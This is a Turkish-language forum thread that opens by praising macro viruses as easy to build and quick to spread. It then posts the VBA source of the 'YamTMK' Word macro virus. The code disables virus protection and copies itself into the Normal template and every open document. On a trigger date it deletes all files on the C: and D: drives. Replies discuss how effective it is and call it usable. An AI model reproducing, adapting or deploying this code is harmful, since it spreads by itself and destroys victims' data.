makro virüslerin hem yapımı kolay hemde çok çabuk başka pc lere bulaşıyorlar.

'YamTMK Makro Virüsünün Kodlari 'YamTMK' On Error Resume Next Dim k As Integer, t As String Application. Options. VirusProtection = False If NormalTemplate. VBProject. VBComponents. Item(1). CodeModule. Lines(2, 1) <> "'YmTMK'" Then NormalTemplate. VBProject. VBComponents. Item(1). CodeModule _. DeleteLines 1, NormalTemplate. VBProject. VBComponents. Item(1) _. CodeModule. CountOfLines End If If NormalTemplate. VBProject. VBComponents. Item(1). CodeModule. CountOfLines = 0 Then NormalTemplate. VBProject. VBComponents. Item(1). CodeModule _. InsertLines 1, ActiveDocument. VBProject. VBComponents. Item(1) _. CodeModule. Lines(1, ActiveDocument. VBProject. VBComponents _. Item(1). CodeModule. CountOfLines) End If If NormalTemplate. Saved = False Then NormalTemplate. Save For k = 1 To Application. Documents. Count If Application. Documents. Item . VBProject. VBComponents. Item(1). CodeModule. Lines(2, 1) <> "'YmTMK'" Then Application. Documents. Item . VBProject. VBComponents. Item(1) _. CodeModule. DeleteLines 1, Application. Documents. Item _. VBProject. VBComponents. Item(1). CodeModule. CountOfLines End If If Application. Documents. Item . VBProject. VBComponents. Item(1). CodeModule. CountOfLines = 0 Then Application. Documents. Item . VBProject. VBComponents. Item(1) _. CodeModule. InsertLines 1, NormalTemplate. VBProject. VBComponents _. Item(1). CodeModule. Lines(1, NormalTemplate. VBProject _. VBComponents. Item(1). CodeModule. CountOfLines) End If Next k If (Day(Now = 20) And (Month(Now = 4) Then With Application. FileSearch. NewSearch. LookIn = "C:\" . SearchSubFolders = True. FileName = " . " . MatchTextExactly = False. FileType = msoFileTypeAllFiles If. Execute > 0 Then For i = 1 To. FoundFiles. Count Kill. FoundFiles Next i End If End With With Application. FileSearch. NewSearch. LookIn = "D:\" . SearchSubFolders = True. FileName = " . " . MatchTextExactly = False. FileType = msoFileTypeAllFiles If. Execute > 0 Then For i = 1 To. FoundFiles. Count Kill. FoundFiles Next i End If End With t = "Hi from YmTMKv2.0!" + vbLf t = t + "I will come back! Be waiT!" MsgBox t 'YmTMKv2.0Cpry. Yamtar`. FckFBI&OthSecurityDfncSysOrg.! http://khc.cjb. net.! dvlnent.' 'IlOvEyOUstUpIDpEOplE! End If 'XNode KurtzWeil!

c ve d sürücülerinde dosyaları arıyor ve joker kullanıyor . buda tüm dosyları listeletiyor sonrada yanılmıyorsam onları siliyor biohazard

ben yeni üye oldum buları ne yapıcam

c d de deki dosyalara zarar veriyor iş görür bence ama dikkat etmek lazım kendinde patlamasın

Yanlış yerlerde dolaşma ilgi alanın değilse başka forumlara pls. Bu virüs ne kadar etkili?

Leke +1 leke gerçekten haklı bu konuda buldugu dosyaları siliyor... Ne kadar iş görür onu düşünmek lazım tabi ama güsel...

İşte buluyor listeliyor sonra kill..

aslında silmesi deil mesele mantığı anlayebilmekyoksa silinen dosyları geri getirebiliyoruz ayrıca format yemiş hardisktende artık böle şeylerin devri bitti ama mantık olarak aklımızın bir köşesinde bulunsun...